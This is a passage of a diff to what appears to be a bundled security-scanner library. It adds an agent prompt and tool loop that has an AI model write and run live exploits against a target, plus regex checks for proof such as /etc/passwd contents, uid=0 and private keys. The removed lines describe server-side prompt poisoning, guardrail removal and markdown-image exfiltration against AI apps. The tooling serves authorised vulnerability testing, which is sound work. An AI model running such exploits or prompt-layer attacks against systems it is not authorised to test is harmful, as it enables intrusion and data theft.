+      if (m) {
+        return { passed: true, matchedPattern: m[0], label: judge.label };
+      }
+    }
+    return { passed: false, label: judge.label };
+  }
+  const generic = [
+    /uid=\d+\([^)]+\)/,
+    /\broot:x:0:0:/,
+    /flag\{[^}]+\}/i,
+    /-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----/,
+    /HTTP\/\d\.\d\s+200\s+OK[\s\S]{0,2000}password/i
+  ];
+  for (const pat of generic) {
+    const m = executionEvidence.match(pat);
+    if (m) {
+      return {
+        passed: true,
+        matchedPattern: m[0],
+        label: "generic exploitation proof"
+      };
+    }
+  }
+  return { passed: false, label: "no category-specific proof" };
 }
-function classifyPromptLayerImpact(asset) {
-  const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
-  const isPromptLayer = looksLikePromptLayer(haystack);
-  if (!isPromptLayer) {
+function buildPovSystemPrompt(finding, target, maxTurns) {
+  return `You are the PoV (Proof-of-Vulnerability) agent.
+
+You have ONE JOB: demonstrate that this finding is actually exploitable by
+RUNNING a working exploit against the target and capturing output that
+proves the vulnerability is real.
+
+# Target
+${target}
+
+# Finding under test
+- id: ${finding.id}
+- title: ${finding.title}
+- category: ${finding.category}
+- severity: ${finding.severity}
+
+# Evidence from the original agent
+Request:
+${(finding.evidence.request ?? "").slice(0, 2e3)}
+
+Response:
+${(finding.evidence.response ?? "").slice(0, 2e3)}
+
+Analysis:
+${(finding.evidence.analysis ?? "").slice(0, 1e3)}
+
+# Rules (these override any general instincts)
+1. You MUST produce a CONCRETE, EXECUTABLE exploit (curl/python/bash/js).
+2. You MUST actually RUN it via the \`bash\` or \`http_request\` tool and
+   capture the response.
+3. The captured response MUST contain category-specific proof of
+   exploitation (extracted data, /etc/passwd, uid=0, reflected <script>,
+   169.254.169.254 metadata, etc.). A 200 OK alone is NOT proof.
+4. DO NOT speculate, DO NOT describe what would happen, DO NOT paraphrase.
+   If you cannot run it and see real proof, call \`give_up\`.
+5. When you have working proof, call \`submit_pov\` ONCE with the exact
+   artifact and the exact output.
+6. You have at most ${maxTurns} turns. Be decisive.
+
+# Accepted proof by category
+- sql-injection: extracted rows, version strings, SQL error, union select data
+- xss: <script> reflected unencoded, or dialog fired
+- ssrf: 169.254.169.254 or internal network response
+- command-injection / code-injection: uid=, /etc/passwd, kernel version
+- path-traversal: /etc/passwd, shadow, private keys
+- information-disclosure: sensitive fields (password, api_key, tokens)
+
+Start by writing the exploit and running it. No preamble.`;
+}
+var MAX_OUTPUT_CHARS = 8e3;
+var BASH_TIMEOUT_MS = 15e3;
+function clip(s) {
+  if (s.length <= MAX_OUTPUT_CHARS)
+    return s;
+  return `${s.slice(0, MAX_OUTPUT_CHARS)}
+\u2026[truncated ${s.length - MAX_OUTPUT_CHARS} chars]`;
+}
+async function runBash(command) {
+  try {
+    const { stdout, stderr } = await execFileAsync("bash", ["-lc", command], {
+      timeout: BASH_TIMEOUT_MS,
+      maxBuffer: 2 * 1024 * 1024
+    });
+    return clip(`$ ${command}
+${stdout}${stderr ? `
+[stderr]
+${stderr}` : ""}`);
+  } catch (err) {
+    const e = err;
+    return clip(`$ ${command}
+[error] ${e.message}
+${e.stdout ?? ""}${e.stderr ?? ""}`);
+  }
+}
+async function runHttp(input) {
+  const url = String(input.url ?? "");
+  const method = String(input.method ?? "GET");
+  const body = input.body !== void 0 ? String(input.body) : void 0;
+  const headers = input.headers ?? {};
+  if (!url)
+    return "[error] url is required";
+  try {
+    const res = await fetch(url, {
+      method,
+      headers,
+      body
+    });
+    const text = await res.text();
+    return clip(`HTTP/${res.status} ${method} ${url}
+${text}`);
+  } catch (err) {
+    return clip(`[error] fetch ${url}: ${err.message}`);
+  }
+}
+function isOracleInfraError(reason) {
+  return /\b(failed|error|threw|exception|unavailable|timed? ?out)\b/i.test(reason);
+}
+async function generatePov(finding, target, runtime, maxTurns = 5, opts = {}) {
+  const oracleKind = oracleForCategory(finding.category);
+  const system = buildPovSystemPrompt(finding, target, maxTurns);
+  const messages = [
+    {
+      role: "user",
+      content: [
+        {
+          type: "text",
+          text: "Build and run a working PoC for the finding above. Remember: real execution, real output, no speculation."
+        }
+      ]
+    }
+  ];
+  const judge = opts.judge ?? judgePovEvidence;
+  let submitted = null;
+  let gaveUpReason = null;
+  let turnsUsed = 0;
+  for (let turn = 1; turn <= maxTurns; turn++) {
+    turnsUsed = turn;
+    const result = await runtime.executeNative(system, messages, POV_TOOLS);
+    if (result.error) {
+      return {
+        hasPov: false,
+        povArtifact: null,
+        artifactType: "none",
+        executionEvidence: "",
+        confidence: 0,
+        turnsUsed,
+        reason: `runtime error: ${result.error}`,
+        oracle: oracleKind
+      };
+    }
+    messages.push({ role: "assistant", content: result.content });
+    const toolUseBlocks = result.content.filter((b) => b.type === "tool_use");
+    if (toolUseBlocks.length === 0) {
+      messages.push({
+        role: "user",
+        content: [
+          {
+            type: "text",
+            text: "No tool call detected. Either RUN the exploit via `bash`/`http_request` and then call `submit_pov`, or call `give_up`. No speculation."
+          }
+        ]
+      });
+      continue;
+    }
+    const toolResults = [];
+    for (const block of toolUseBlocks) {
+      let output;
+      switch (block.name) {
+        case "bash": {
+          const cmd = String(block.input.command ?? "");
+          output = opts.disableBash ? `[bash disabled in test mode] would run: ${cmd}` : await runBash(cmd);
+          break;
+        }
+        case "http_request": {
+          output = opts.disableHttp ? `[http disabled in test mode] would fetch: ${JSON.stringify(block.input)}` : await runHttp(block.input);
+          break;
+        }
+        case "submit_pov": {
+          const art = String(block.input.artifact ?? "");
+          const ev = String(block.input.execution_evidence ?? "");
+          const at = String(block.input.artifact_type ?? "bash");
+          submitted = {
+            artifact: art,
+            execution_evidence: ev,
+            artifact_type: ["curl", "python", "javascript", "bash"].includes(at) ? at : "bash"
+          };
+          output = "submitted";
+          break;
+        }
+        case "give_up": {
+          gaveUpReason = String(block.input.reason ?? "agent gave up");
+          output = "acknowledged";
+          break;
+        }
+        default:
+          output = `[error] unknown tool ${block.name}`;
+      }
+      toolResults.push({
+        type: "tool_result",
+        tool_use_id: block.id,
+        content: output
+      });
+    }
+    messages.push({ role: "user", content: toolResults });
+    if (submitted)
+      break;
+    if (gaveUpReason)
+      break;
+  }
+  if (gaveUpReason) {
     return {
-      isPromptLayer: false,
-      impacts: [],
-      severity: "info",
-      narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
+      hasPov: false,
+      povArtifact: null,
+      artifactType: "none",
+      executionEvidence: "",
+      confidence: 0,
+      turnsUsed,
+      reason: `agent gave up: ${gaveUpReason}`,
+      oracle: oracleKind
     };
   }
-  const impacts = [];
-  for (const rule of PROMPT_LAYER_IMPACT_RULES) {
-    if (rule.patterns.some((p) => p.test(haystack))) {
-      impacts.push(rule.impact);
-    }
+  if (!submitted) {
+    return {
+      hasPov: false,
+      povArtifact: null,
+      artifactType: "none",
+      executionEvidence: "",
+      confidence: 0,
+      turnsUsed,
+      reason: turnsUsed >= maxTurns ? `max turns (${maxTurns}) exceeded without a working PoC` : "agent exited without submitting a PoC",
+      oracle: oracleKind
+    };
   }
-  if (!asset.writable) {
+  if (oracleKind !== "regex-fallback") {
+    return adjudicateWithOracle(finding, target, submitted, turnsUsed, maxTurns, oracleKind, opts);
+  }
+  const verdict = judge(finding, submitted.execution_evidence);
+  if (!verdict.passed) {
     return {
-      isPromptLayer: true,
-      impacts: [],
-      severity: "low",
-      narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
+      hasPov: false,
+      povArtifact: submitted.artifact || null,
+      artifactType: submitted.artifact_type,
+      executionEvidence: submitted.execution_evidence,
+      confidence: 0.2,
+      turnsUsed,
+      reason: `submitted PoC did not contain category-specific proof (${verdict.label})`,
+      oracle: "regex-fallback"
     };
   }
-  const reRead = asset.reReadAtInference === true;
-  const severity = reRead ? "high" : "low";
-  const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
-  const narrative = [
-    `WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
-    reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
-    `Impact class(es): ${impacts.join(", ")}.`,
-    ...impactLabels.map((l) => `- ${l}`),
-    "Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
-  ].join("\n");
-  return { isPromptLayer: true, impacts, severity, narrative };
+  const confidence = Math.max(0.7, 1 - (turnsUsed - 1) * (0.3 / Math.max(1, maxTurns - 1)));
+  return {
+    hasPov: true,
+    povArtifact: submitted.artifact,
+    artifactType: submitted.artifact_type,
+    executionEvidence: submitted.execution_evidence,
+    confidence,
+    turnsUsed,
+    reason: `PoV confirmed: ${verdict.label}${verdict.matchedPattern ? ` (matched: ${verdict.matchedPattern.slice(0, 80)})` : ""}`,
+    oracle: "regex-fallback"
+  };
 }
-var IMPACT_NARRATIVE = {
-  prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
-  guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
-  output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
-  model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
-};
-function describeAsset(asset) {
-  const loc = [asset.table, asset.column].filter(Boolean).join(".");
-  return loc || "unnamed asset";
+async function adjudicateWithOracle(finding, target, submitted, turnsUsed, maxTurns, oracleKind, opts) {
+  const runOracle = opts.oracle ?? verifyOracleByCategory;
+  let oracleResult;
+  try {
+    oracleResult = opts.precomputedOracle ?? await runOracle(finding, target);
+  } catch (err) {
+    return {
+      hasPov: false,
+      povArtifact: submitted.artifact || null,
+      artifactType: submitted.artifact_type,
+      executionEvidence: submitted.execution_evidence,
+      confidence: 0,
+      turnsUsed,
+      reason: `oracle (${oracleKind}) errored, inconclusive: ${err.message}`,
+      oracle: oracleKind,
+      inconclusive: true
+    };
+  }
+  if (oracleResult.verified) {
+    const speed = Math.max(0.7, 1 - (turnsUsed - 1) * (0.3 / Math.max(1, maxTurns - 1)));
+    return {
+      hasPov: true,
+      povArtifact: submitted.artifact,
+      artifactType: submitted.artifact_type,
+      // Prefer the oracle's reproduced evidence; keep the agent's as context.
+      executionEvidence: oracleResult.evidence || submitted.execution_evidence,
+      confidence: Math.min(speed, oracleResult.confidence || speed),
+      turnsUsed,
+      reason: `PoV confirmed by ${oracleKind} oracle: ${oracleResult.evidence}`,
+      oracle: oracleKind
+    };
+  }
+  if (oracleResult.inconclusive || isOracleInfraError(oracleResult.reason)) {
+    return {
+      hasPov: false,
+      povArtifact: submitted.artifact || null,
+      artifactType: submitted.artifact_type,
+      executionEvidence: submitted.execution_evidence,
+      confidence: 0,
+      turnsUsed,
+      reason: `oracle (${oracleKind}) inconclusive: ${oracleResult.reason}`,
+      oracle: oracleKind,
+      inconclusive: true
+    };
+  }
+  return {
+    hasPov: false,
+    povArtifact: submitted.artifact || null,
+    artifactType: submitted.artifact_type,
+    executionEvidence: submitted.execution_evidence,
+    confidence: 0,
+    turnsUsed,
+    reason: `${oracleKind} oracle did not reproduce the exploit: ${oracleResult.reason}`,
+    oracle: oracleKind
+  };
+}
+var MEMCORRUPTION_CRASH_KINDS = /* @__PURE__ */ new Set([
+  "asan",
+  "ubsan",
+  "msan",
+  "miri",
+  "segfault"
+]);
+function isReproducedMemCorruption(crash) {
+  return Boolean(crash.inputPath) && MEMCORRUPTION_CRASH_KINDS.has(crash.kind) && Boolean(crash.rawOutput && crash.rawOutput.trim().length > 0);
+}
+function memCorruptionVerdict(crash) {
+  const reproduced = isReproducedMemCorruption(crash);
+  const exploit = classifyUserspacePrimitive(crash);
+  if (!reproduced) {
+    return {
+      verdict: "inconclusive",
+      confidence: 0,
+      reasoning: `Crash artifact (kind=${crash.kind}) is not a reproduced memory-corruption PoC \u2014 ${crash.inputPath ? "no sanitizer/Miri corruption signature" : "no saved reproducing input"}. Inconclusive, not a rejection.`,
+      signals: [
+        {
+          name: "memcorruption_repro",
+          passed: false,
+          confidence: 0,
+          reasoning: `kind=${crash.kind}, primitive=${exploit.primitive}, savedInput=${Boolean(crash.inputPath)}`
+        }
+      ]
+    };
+  }
+  const gate = reproConfidence(crash);
+  return {
+    verdict: "confirmed",
+    confidence: gate.confidence,
+    reasoning: `Reproduced under the sanitizer/Miri build (kind=${crash.kind}): ${exploit.primitive} (${exploit.readWrite}). ${exploit.rationale}${gate.note}`,
+    signals: [
+      {
+        name: "memcorruption_repro",
+        passed: true,
+        confidence: gate.confidence,
+        reasoning: `signature=${crash.signature}, input=${crash.inputPath}` + (crash.reproConfirmations != null ? `, repro=${crash.reproConfirmations}/${crash.reproAttempts ?? crash.reproConfirmations}` : "")
+      }
+    ],
+    evidenceKind: "reproduced-memcorruption-poc"
+  };
+}
+function reproConfidence(crash) {
+  const n = crash.reproConfirmations;
+  if (n == null)
+    return { confidence: 0.95, note: "" };
+  if (n >= 2) {
+    const attempts = crash.reproAttempts ?? n;
+    return { confidence: 0.95, note: ` Reproduced ${n}/${attempts}\xD7 (N\xD7 confirmed).` };
+  }
+  if (n === 1) {
+    const attempts = crash.reproAttempts ?? 1;
+    return {
+      confidence: 0.82,
+      note: attempts > 1 ? ` Reproduced only 1/${attempts}\xD7 \u2014 flaky-repro risk; re-run to confirm before relying on it.` : ` Single-shot reproduction (N=1) \u2014 re-run to rule out an environment fluke.`
+    };
+  }
+  return { confidence: 0.82, note: " Reproduction count is 0 \u2014 treat as unconfirmed flake." };
+}
+
+// packages/core/dist/stages/memsafety-scan.js
+function memPrimitiveToCategory(primitive) {
+  switch (primitive) {
+    case "use-after-free":
+      return "use-after-free";
+    case "double-free":
+      return "double-free";
+    case "heap-oob-read":
+      return "out-of-bounds-read";
+    case "heap-oob-write":
+      return "out-of-bounds-write";
+    case "stack-oob":
+      return "stack-buffer-overflow";
+    case "type-confusion":
+      return "type-confusion";
+    case "uninit-read":
+      return "uninitialized-memory";
+    case "null-deref":
+      return "null-deref";
+    case "integer-overflow":
+      return "integer-overflow";
+    case "unknown":
+      return "other";
+  }
+}
+function crashArtifactToFinding(crash, target, exploitability, verdict) {
+  const severity = exploitability.severity;
+  const category = memPrimitiveToCategory(exploitability.primitive);
+  const stackSummary = (crash.stack ?? []).slice(0, 5).join(" \u2192 ");
+  const reproducerRef = crash.artifactRef ?? crash.inputPath;
+  const reproduced = verdict.verdict === "confirmed";
+  const description = [
+    `Userspace ${crash.kind} crash in ${target.language} target (${target.sourceRoot}).`,
+    `Primitive: ${exploitability.primitive} (op=${exploitability.readWrite}, controllable=${exploitability.controllable}).`,
+    stackSummary ? `Stack: ${stackSummary}.` : "",
+    reproducerRef ? `Reproducing input: ${reproducerRef}.` : "",
+    reproduced ? "Reproduced under the sanitizer/Miri build (memory-corruption PoC)." : "Observed crash; not yet a reproduced memory-corruption PoC (inconclusive \u2014 not a rejection)."
+  ].filter(Boolean).join("\n");
+  const analysisLines = [
+    `Crash kind: ${crash.kind}`,
+    `Signature: ${crash.signature}`,
+    `Category: ${category}`,
+    `Build system: ${target.buildSystem}`,
+    target.harnessEntry ? `Harness: ${target.harnessEntry}` : "",
+    "",
+    "---exploitability---",
+    ...describeExploitabilityVerdict(exploitability),
+    "",
+    "---verify verdict---",
+    `Verdict: ${verdict.verdict} (confidence=${verdict.confidence})`,
+    verdict.evidenceKind ? `Evidence: ${verdict.evidenceKind}` : "",
+    verdict.reasoning
+  ].filter(Boolean);
+  const confidence = reproduced ? verdict.confidence : 0.3;
+  const rawOut = crash.rawOutput ?? "";
+  return {
+    id: randomUUID2(),
+    templateId: `memsafety-${crash.kind}`,
+    title: `Userspace ${exploitability.primitive} (${crash.kind}) in ${target.sourceRoot}`,
+    description,
+    severity,
+    category,
+    status: "discovered",
+    evidence: {
+      request: reproducerRef ?? "N/A (userspace crash artifact)",
+      response: rawOut.length > 4e3 ? rawOut.slice(0, 4e3) + "\n... [truncated]" : rawOut,
+      analysis: analysisLines.join("\n")
+    },
+    fingerprint: `memsafety:${crash.signature}`,
+    confidence,
+    timestamp: Date.now()
+  };
+}
+async function runMemSafetyScan(opts) {
+  const log = opts.logger ?? ((line) => console.log(line));
+  const warnings = [];
+  const playbookContext = buildPlaybookInjection(["rust_memsafety"]);
+  log(`[memsafety] fuzzing ${opts.target.language} target at ${opts.target.sourceRoot}` + (opts.target.harnessEntry ? ` (harness=${opts.target.harnessEntry})` : ""));
+  const loop = await runUserspaceFuzzLoop({
+    ...opts.fuzz,
+    target: opts.target,
+    logger: log
+  });
+  const toolingMissing = loop.toolingMissing ?? [];
+  if (toolingMissing.length > 0) {
+    const note = `[memsafety] fuzz loop could not complete \u2014 unavailable prerequisite: ${toolingMissing.join(", ")}. No findings emitted (no fabricated results).`;
+    log(note);
+    warnings.push(note);
+  }
+  const details = [];
+  for (const crash of loop.crashes) {
+    const exploitability = classifyUserspacePrimitive(crash);
+    const verdict = memCorruptionVerdict(crash);
+    const finding = crashArtifactToFinding(crash, opts.target, exploitability, verdict);
+    details.push({ finding, crash, exploitability, verdict });
+  }
+  if (details.length === 0 && toolingMissing.length === 0) {
+    log(`[memsafety] fuzz loop ran ${loop.iterations} iteration(s) with no crashes captured.`);
+  }
+  return {
+    findings: details.map((d) => d.finding),
+    details,
+    loop,
+    toolingMissing,
+    playbookContext,
+    warnings
+  };
 }
 
 export {
@@ -2039,5 +3549,20 @@ export {
   renderSanitizerVerdict,
   detectPlaybooks,
   buildPlaybookInjection,
-  classifyPromptLayerImpact
+  classifyPromptLayerImpact,
+  parseCrashOutput,
+  runUserspaceFuzzLoop,
+  maxMemSeverity,
+  sniffMemPrimitive,
+  classifyUserspacePrimitive,
+  describeExploitabilityVerdict,
+  oracleForCategory,
+  oastConfirmedPayload,
+  judgePovEvidence,
+  generatePov,
+  isReproducedMemCorruption,
+  memCorruptionVerdict,
+  memPrimitiveToCategory,
+  crashArtifactToFinding,
+  runMemSafetyScan
 };